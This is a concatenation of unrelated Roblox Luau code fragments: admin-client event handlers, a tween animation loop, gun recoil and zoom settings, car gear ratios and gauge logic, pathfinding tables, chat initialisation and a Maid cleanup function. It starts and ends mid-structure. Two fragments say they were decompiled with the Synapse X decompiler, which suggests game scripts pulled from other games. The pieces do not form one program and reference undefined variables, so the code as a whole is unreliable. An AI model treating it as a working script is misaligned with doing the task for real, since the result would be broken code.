string.find(Trace,"CoreGui.RobloxGui")) then --Anti.Detected("log","Scriptless/Traceless error found. Script: "..tostring(Script).." - Trace: "..tostring(Trace)) --end end; Chat = function(msg) --service.FireEvent("Chat",msg) if not service.Player or service.Player.Parent ~= service.Players then Remote.Fire("ProcessChat",msg) end end; CharacterAdded = function(...) service.Events.CharacterAdded:Fire(...) wait(); UI.GetHolder() end; CharacterRemoving = function() if Variables.UIKeepAlive then for ind,g in next,client.GUIs do if g.Class == "ScreenGui" or g.Class == "GuiMain" or g.Class == "TextLabel" then if not (g.Object:IsA("ScreenGui") and not g.Object.ResetOnSpawn) and g.CanKeepAlive then g.KeepAlive = true g.KeepParent = g.Object.Parent g.Object.Parent = nil elseif not g.CanKeepAlive then pcall(g.Destroy, g) end end end end if Variables.GuiViewFolder then Variables.GuiViewFolder:Destroy() Variables.GuiViewFolder = nil end if Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end local textbox = service.UserInputService:GetFocusedTextBox() if textbox then textbox:ReleaseFocus() end service.Events.CharacterRemoving:Fire() end } end
-- this is your choice now
script.Parent.Equipped:Connect(function() anim:Play() -- the anim starts playing end)
------------------------------------------------------------
local TwinService = game:GetService("TweenService") local AnimationHighLight = TweenInfo.new(2, Enum.EasingStyle.Sine ,Enum.EasingDirection.InOut) local Info1 = {Position = Vector3.new(pos1,Positionn,pos3)} local Info2 = {Position = Vector3.new(pos1,Positionn2,pos3)} local AnimkaUp = TwinService:Create(Danger, AnimationHighLight, Info1 ) local AnimkaDown = TwinService:Create(Danger, AnimationHighLight, Info2 ) while true do AnimkaUp:Play() wait(2) AnimkaDown:Play() wait(2) end
--// Recoil Settings
gunrecoil = -0.4; -- How much the gun recoils backwards when not aiming camrecoil = 0.23; -- How much the camera flicks when not aiming AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming AimCamRecoil = 0.21; -- How much the camera flicks when aiming CamShake = 8; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 6; -- THIS IS ALSO NEW!!!! Kickback = 0.6; -- Upward gun rotation when not aiming AimKickback = 0.3; -- Upward gun rotation when aiming
--[=[ @within Matter :::info Topologically-aware function This function is only usable if called within the context of [`Loop:begin`](/api/Loop#begin). ::: @param ... any Logs some text. Readable in the Matter debugger. ]=]
local function log(...) local state = topoRuntime.useFrameState() if state.logs == nil then return end local segments = {} for i = 1, select("#", ...) do local value = select(i, ...) if type(value) == "table" then segments[i] = format.formatTable(value) else segments[i] = tostring(value) end end table.insert(state.logs, table.concat(segments, " ")) if #state.logs > 100 then table.remove(state.logs, 1) end return state.deltaTime end return log
-- pitch-axis rotational velocity of a part with a given CFrame and total RotVelocity
local function pitchVelocity(rotVel, cf) return math.abs(cf.XVector:Dot(rotVel)) end
-- if emoteNames[emote] ~= nil then -- -- Default emotes -- playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = Vector2.new(0, 0); local v2 = require(script.Parent:WaitForChild("BaseCamera")); local v3 = setmetatable({}, v2); v3.__index = v3; local u1 = require(script.Parent:WaitForChild("CameraUtils")); function v3.new() local v4 = setmetatable(v2.new(), v3); v4.isFollowCamera = false; v4.isCameraToggle = false; v4.lastUpdate = tick(); v4.cameraToggleSpring = u1.Spring.new(5, 0); return v4; end; local u2 = require(script.Parent:WaitForChild("CameraInput")); function v3.GetCameraToggleOffset(p1, p2) if not p1.isCameraToggle then return Vector3.new(); end; local l__currentSubjectDistance__5 = p1.currentSubjectDistance; if u2.getTogglePan() then p1.cameraToggleSpring.goal = math.clamp(u1.map(l__currentSubjectDistance__5, 0.5, p1.FIRST_PERSON_DISTANCE_THRESHOLD, 0, 1), 0, 1); else p1.cameraToggleSpring.goal = 0; end; return Vector3.new(0, p1.cameraToggleSpring:step(p2) * (math.clamp(u1.map(l__currentSubjectDistance__5, 0.5, 64, 0, 1), 0, 1) + 1), 0); end; function v3.SetCameraMovementMode(p3, p4) v2.SetCameraMovementMode(p3, p4); p3.isFollowCamera = p4 == Enum.ComputerCameraMovementMode.Follow; p3.isCameraToggle = p4 == Enum.ComputerCameraMovementMode.CameraToggle; end; local u3 = CFrame.fromOrientation(-0.2617993877991494, 0, 0); local l__Players__4 = game:GetService("Players"); local u5 = 0; local l__VRService__6 = game:GetService("VRService"); function v3.Update(p5) local v6 = tick(); local v7 = v6 - p5.lastUpdate; local l__CurrentCamera__8 = workspace.CurrentCamera; local v9 = l__CurrentCamera__8.CFrame; local v10 = l__CurrentCamera__8.Focus; local v11 = nil; if p5.resetCameraAngle then local v12 = p5:GetHumanoidRootPart(); if v12 then v11 = (v12.CFrame * u3).lookVector; else v11 = u3.lookVector; end; p5.resetCameraAngle = false; end; local v13 = p5:GetHumanoid(); local l__CameraSubject__14 = l__CurrentCamera__8.CameraSubject; local v15 = l__CameraSubject__14 and l__CameraSubject__14:IsA("VehicleSeat"); local v16 = l__CameraSubject__14 and l__CameraSubject__14:IsA("SkateboardPlatform"); local v17 = v13 and v13:GetState() == Enum.HumanoidStateType.Climbing; if p5.lastUpdate == nil or v7 > 1 then p5.lastCameraTransform = nil; end; local v18 = u2.getRotation(); p5:StepZoom(); local v19 = p5:GetCameraHeight(); if u2.getRotation() ~= Vector2.new() then u5 = 0; p5.lastUserPanCamera = tick(); end; local v20 = v6 - p5.lastUserPanCamera < 2; local v21 = p5:GetSubjectPosition(); if v21 and l__Players__4.LocalPlayer and l__CurrentCamera__8 then local v22 = p5:GetCameraToSubjectDistance(); if v22 < 0.5 then v22 = 0.5; end; if p5:GetIsMouseLocked() and not p5:IsInFirstPerson() then local v23 = p5:CalculateNewLookCFrameFromArg(v11, v18); local v24 = p5:GetMouseLockOffset(); local v25 = v24.X * v23.RightVector + v24.Y * v23.UpVector + v24.Z * v23.LookVector; if u1.IsFiniteVector3(v25) then v21 = v21 + v25; end; elseif u2.getRotation() == Vector2.new() and p5.lastCameraTransform then local v26 = p5:IsInFirstPerson(); if not v15 and not v16 then if p5.isFollowCamera and v17 and p5.lastUpdate and v13 and v13.Torso then if v26 then if p5.lastSubjectCFrame and ((v15 or v16) and l__CameraSubject__14:IsA("BasePart")) then local v27 = -u1.GetAngleBetweenXZVectors(p5.lastSubjectCFrame.lookVector, l__CameraSubject__14.CFrame.lookVector); if u1.IsFinite(v27) then v18 = v18 + Vector2.new(v27, 0); end; u5 = 0; end; elseif not v20 then u5 = math.clamp(u5 + 3.839724354387525 * v7, 0, 4.363323129985824); local v28 = math.clamp(u5 * v7, 0, 1); if p5:IsInFirstPerson() and (not p5.isFollowCamera or not p5.isClimbing) then v28 = 1; end; local v29 = u1.GetAngleBetweenXZVectors(v13.Torso.CFrame.lookVector, p5:GetCameraLookVector()); if u1.IsFinite(v29) and math.abs(v29) > 0.0001 then v18 = v18 + Vector2.new(v29 * v28, 0); end; end; elseif p5.isFollowCamera and not v26 and not v20 and not l__VRService__6.VREnabled then local v30 = u1.GetAngleBetweenXZVectors(-(p5.lastCameraTransform.p - v21), p5:GetCameraLookVector()); if u1.IsFinite(v30) and math.abs(v30) > 0.0001 and 0.4 * v7 < math.abs(v30) then v18 = v18 + Vector2.new(v30, 0); end; end; elseif p5.lastUpdate and v13 and v13.Torso then if v26 then if p5.lastSubjectCFrame and ((v15 or v16) and l__CameraSubject__14:IsA("BasePart")) then v27 = -u1.GetAngleBetweenXZVectors(p5.lastSubjectCFrame.lookVector, l__CameraSubject__14.CFrame.lookVector); if u1.IsFinite(v27) then v18 = v18 + Vector2.new(v27, 0); end; u5 = 0; end; elseif not v20 then u5 = math.clamp(u5 + 3.839724354387525 * v7, 0, 4.363323129985824); v28 = math.clamp(u5 * v7, 0, 1); if p5:IsInFirstPerson() and (not p5.isFollowCamera or not p5.isClimbing) then v28 = 1; end; v29 = u1.GetAngleBetweenXZVectors(v13.Torso.CFrame.lookVector, p5:GetCameraLookVector()); if u1.IsFinite(v29) and math.abs(v29) > 0.0001 then v18 = v18 + Vector2.new(v29 * v28, 0); end; end; elseif p5.isFollowCamera and not v26 and not v20 and not l__VRService__6.VREnabled then v30 = u1.GetAngleBetweenXZVectors(-(p5.lastCameraTransform.p - v21), p5:GetCameraLookVector()); if u1.IsFinite(v30) and math.abs(v30) > 0.0001 and 0.4 * v7 < math.abs(v30) then v18 = v18 + Vector2.new(v30, 0); end; end; end; if not p5.isFollowCamera then local l__VREnabled__31 = l__VRService__6.VREnabled; if l__VREnabled__31 then local v32 = p5:GetVRFocus(v21, v7); else v32 = CFrame.new(v21); end; local l__p__33 = v32.p; if l__VREnabled__31 and not p5:IsInFirstPerson() then local l__magnitude__34 = (v21 - l__CurrentCamera__8.CFrame.p).magnitude; if v22 < l__magnitude__34 or v18.x ~= 0 then local v35 = p5:CalculateNewLookVectorFromArg(nil, v18) * math.min(l__magnitude__34, v22); local v36 = l__p__33 - v35; local v37 = l__CurrentCamera__8.CFrame.lookVector; if v18.x ~= 0 then v37 = v35; end; local v38 = CFrame.new(v36, (Vector3.new(v36.x + v37.x, v36.y, v36.z + v37.z))) + Vector3.new(0, v19, 0); end; else v38 = CFrame.new(l__p__33 - v22 * p5:CalculateNewLookVectorFromArg(v11, v18), l__p__33); end; else if l__VRService__6.VREnabled then v32 = p5:GetVRFocus(v21, v7); else v32 = CFrame.new(v21); end; v38 = CFrame.new(v32.p - v22 * p5:CalculateNewLookVectorFromArg(v11, v18), v32.p) + Vector3.new(0, v19, 0); end; local v39 = p5:GetCameraToggleOffset(v7); v10 = v32 + v39; v9 = v38 + v39; p5.lastCameraTransform = v9; p5.lastCameraFocus = v10; if (v15 or v16) and l__CameraSubject__14:IsA("BasePart") then p5.lastSubjectCFrame = l__CameraSubject__14.CFrame; else p5.lastSubjectCFrame = nil; end; end; p5.lastUpdate = v6; return v9, v10; end; function v3.EnterFirstPerson(p6) p6.inFirstPerson = true; p6:UpdateMouseBehavior(); end; function v3.LeaveFirstPerson(p7) p7.inFirstPerson = false; p7:UpdateMouseBehavior(); end; return v3;
--Gear Ratios
Tune.FinalDrive = 3.92 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.6 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Decompiled with the Synapse X Luau decompiler.
script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Visible = false; if not game.Players.LocalPlayer.Character:FindFirstChild("Old Ring") or not (game.Players.LocalPlayer.Days.Value >= 20) then for v1 = 1, #"..." do script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("...", 1, v1); wait(); end; script.Parent.Parent.Parent.Dialog2.Visible = true; return; end; for v2 = 1, #"..." do script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("...", 1, v2); wait(); end; script.Parent.Parent.Parent.Dialog3.Visible = true; game:GetService("ReplicatedStorage").HouseCreator:Clone().Parent = game.Players.LocalPlayer.PlayerGui; end);
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare *I assume you know what you're doing if you're gonna change something here.* ]]
-- script.Parent:WaitForChild("Car") script.Parent:WaitForChild("IsOn") script.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Values")
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{73,76,72,71,61,59,41,30,56,58},t}, [49]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{73,76,72,71,61,59,41,30,56,58,20,19},t}, [59]={{73,76,72,71,61,59},t}, [63]={{73,76,72,71,61,59,41,30,56,58,23,62,63},t}, [34]={{73,76,72,71,61,59,41,39,35,34},t}, [21]={{73,76,72,71,61,59,41,30,56,58,20,21},t}, [48]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{73,76,72,71,61,59,41,39,35,34,32,31},t}, [56]={{73,76,72,71,61,59,41,30,56},t}, [29]={{73,76,72,71,61,59,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45},t}, [57]={{73,76,72,71,61,59,41,30,56,57},t}, [36]={{73,76,72,71,61,59,41,39,35,37,36},t}, [25]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{73,76,72,71},t}, [20]={{73,76,72,71,61,59,41,30,56,58,20},t}, [60]={{73,76,72,71,61,60},t}, [8]={n,f}, [4]={n,f}, [75]={{73,75},t}, [22]={{73,76,72,71,61,59,41,30,56,58,20,21,22},t}, [74]={{73,74},t}, [62]={{73,76,72,71,61,59,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{73,76,72,71,61,59,41,39,35,37},t}, [2]={n,f}, [35]={{73,76,72,71,61,59,41,39,35},t}, [53]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{73},t}, [72]={{73,76,72},t}, [33]={{73,76,72,71,61,59,41,39,35,37,36,33},t}, [69]={{73,76,72,71,61,69},t}, [65]={{73,76,72,71,61,59,41,30,56,58,20,19,66,64,65},t}, [26]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26},t}, [68]={{73,76,72,71,61,59,41,30,56,58,20,19,66,64,67,68},t}, [76]={{73,76},t}, [50]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{73,76,72,71,61,59,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{73,76,72,71,61,59,41,30,56,58,23},t}, [44]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44},t}, [39]={{73,76,72,71,61,59,41,39},t}, [32]={{73,76,72,71,61,59,41,39,35,34,32},t}, [3]={n,f}, [30]={{73,76,72,71,61,59,41,30},t}, [51]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{73,76,72,71,61,59,41,30,56,58,20,19,66,64,67},t}, [61]={{73,76,72,71,61},t}, [55]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{73,76,72,71,61,59,41,39,40,38,42},t}, [40]={{73,76,72,71,61,59,41,39,40},t}, [52]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{73,76,72,71,61,59,41},t}, [17]={n,f}, [38]={{73,76,72,71,61,59,41,39,40,38},t}, [28]={{73,76,72,71,61,59,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{73,76,72,71,61,59,41,30,56,58,20,19,66,64},t}, } return r
--CHANGE THIS LINE--
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal2a -- Change last word
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.1; -- The lower the number the slower and smoother the tween AimZoom = 60; CycleAimZoom = 60; MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05;
--// Rest of code after waiting for correct events.
local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local canChat = true local ChatDisplayOrder = 6 if ChatSettings.ScreenGuiDisplayOrder ~= nil then ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local GuiParent = Instance.new("ScreenGui") GuiParent.Name = "Chat" GuiParent.ResetOnSpawn = false GuiParent.DisplayOrder = ChatDisplayOrder GuiParent.Parent = PlayerGui local DidFirstChannelsLoads = false local modulesFolder = script local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow")) local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar")) local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar")) local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator")) local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay")) local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor")) local ChatWindow = moduleChatWindow.new() local ChannelsBar = moduleChannelsBar.new() local MessageLogDisplay = moduleMessageLogDisplay.new() local CommandProcessor = moduleCommandProcessor.new() local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow) ChatWindow:CreateGuiObjects(GuiParent) ChatWindow:RegisterChatBar(ChatBar) ChatWindow:RegisterChannelsBar(ChannelsBar) ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay) MessageCreatorUtil:RegisterChatWindow(ChatWindow) local MessageSender = require(modulesFolder:WaitForChild("MessageSender")) MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest) if (UserInputService.TouchEnabled) then ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarText",'Tap here to chat')) else ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarTextTouch",'To chat click here or press "/" key')) end spawn(function() local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil")) local animationFps = ChatSettings.ChatAnimationFPS or 20.0 local updateWaitTime = 1.0 / animationFps local lastTick = tick() while true do local currentTick = tick() local tickDelta = currentTick - lastTick local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta) if dtScale ~= 0 then ChatWindow:Update(dtScale) end lastTick = currentTick wait(updateWaitTime) end end)
--[=[ Cleans up all tasks and removes them as entries from the Maid. :::note Signals that are already connected are always disconnected first. After that any signals added during a cleaning phase will be disconnected at random times. ::: :::tip DoCleaning() may be recursively invoked. This allows the you to ensure that tasks or other tasks. Each task will be executed once. However, adding tasks while cleaning is not generally a good idea, as if you add a function that adds itself, this will loop indefinitely. ::: ]=]
function Maid:DoCleaning() local tasks = self._tasks -- Disconnect all events first as we know this is safe for index, job in pairs(tasks) do if typeof(job) == "RBXScriptConnection" then tasks[index] = nil job:Disconnect() end end -- Clear out tasks table completely, even if clean up tasks add more tasks to the maid local index, job = next(tasks) while job ~= nil do tasks[index] = nil if type(job) == "function" then job() elseif type(job) == "thread" then local cancelled if coroutine.running() ~= job then cancelled = pcall(function() task.cancel(job) end) end if not cancelled then local toCancel = job task.defer(function() task.cancel(toCancel) end) end elseif typeof(job) == "RBXScriptConnection" then job:Disconnect() elseif job.Destroy then job:Destroy() end index, job = next(tasks) end end
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult) v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10) end end for i=0,revEnd*2 do local ln = gauges.ln:clone() ln.Parent = gauges.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = gauges.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",gauges.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = gauges.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end local blns = Instance.new("Frame",gauges.Boost) blns.Name = "blns" blns.BackgroundTransparency = 1 blns.BorderSizePixel = 0 blns.Size = UDim2.new(0,0,0,0) for i=0,12 do local bln = gauges.bln:clone() bln.Parent = blns bln.Rotation = 45+270*(i/12) if i%2==0 then bln.Frame.Size = UDim2.new(0,2,0,7) bln.Frame.Position = UDim2.new(0,-1,0,40) else bln.Frame.Size = UDim2.new(0,3,0,5) end bln.Num:Destroy() bln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",gauges.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = gauges.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) values.RPM.Changed:connect(function() gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000)) end) local _TCount = _Tune.Turbochargers local _SCount = _Tune.Superchargers if _TCount~=0 or _SCount~=0 then values.Boost.Changed:connect(function() local _T = 0 local _S = 0 if _TCount~=0 then _T = _Tune.T_Boost*_TCount end if _SCount~=0 then _S = _Tune.S_Boost*_SCount end local tboost = (math.floor(values.BoostTurbo.Value)*1.2)-(_T/5) local sboost = math.floor(values.BoostSuper.Value) gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,values.Boost.Value/(_T+_S)) gauges.PSI.Text = tostring(math.floor(tboost+sboost).." PSI") end) else gauges.Boost:Destroy() end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,170/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.TCSActive.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = true gauges.TCS.TextColor3 = Color3.new(1,0,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.TCS.Visible = false end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = false end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true end else if gauges.TCS.Visible then gauges.TCS.Visible = false end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,170/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.ABSActive.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(1,0,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.ABS.Visible = false end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = false end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true end else if gauges.ABS.Visible then gauges.ABS.Visible = false end end end) function PBrake() gauges.PBrake.Visible = values.PBrake.Value end values.PBrake.Changed:connect(PBrake) function Gear() if values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif values.TransmissionMode.Value == "Semi" then gauges.TMode.Text = "S/T" gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else gauges.TMode.Text = "M/T" gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end values.TransmissionMode.Changed:connect(Gear) values.Velocity.Changed:connect(function(property) gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then gauges.Visible=not gauges.Visible end end) gauges.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(gauges.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{75,73,76,72,71,61,59,41,30,56,58},t}, [49]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{75,73,76,72,71,61,59,41,30,56,58,20,19},t}, [59]={{75,73,76,72,71,61,59},t}, [63]={{75,73,76,72,71,61,59,41,30,56,58,23,62,63},t}, [34]={{75,73,76,72,71,61,59,41,39,35,34},t}, [21]={{75,73,76,72,71,61,59,41,30,56,58,20,21},t}, [48]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{75,73,76,72,71,61,59,41,39,35,34,32,31},t}, [56]={{75,73,76,72,71,61,59,41,30,56},t}, [29]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45},t}, [57]={{75,73,76,72,71,61,59,41,30,56,57},t}, [36]={{75,73,76,72,71,61,59,41,39,35,37,36},t}, [25]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{75,73,76,72,71},t}, [20]={{75,73,76,72,71,61,59,41,30,56,58,20},t}, [60]={{75,73,76,72,71,61,60},t}, [8]={n,f}, [4]={n,f}, [75]={{75},t}, [22]={{75,73,76,72,71,61,59,41,30,56,58,20,21,22},t}, [74]={{75,73,74},t}, [62]={{75,73,76,72,71,61,59,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{75,73,76,72,71,61,59,41,39,35,37},t}, [2]={n,f}, [35]={{75,73,76,72,71,61,59,41,39,35},t}, [53]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{75,73},t}, [72]={{75,73,76,72},t}, [33]={{75,73,76,72,71,61,59,41,39,35,37,36,33},t}, [69]={{75,73,76,72,71,61,69},t}, [65]={{75,73,76,72,71,61,59,41,30,56,58,20,19,66,64,65},t}, 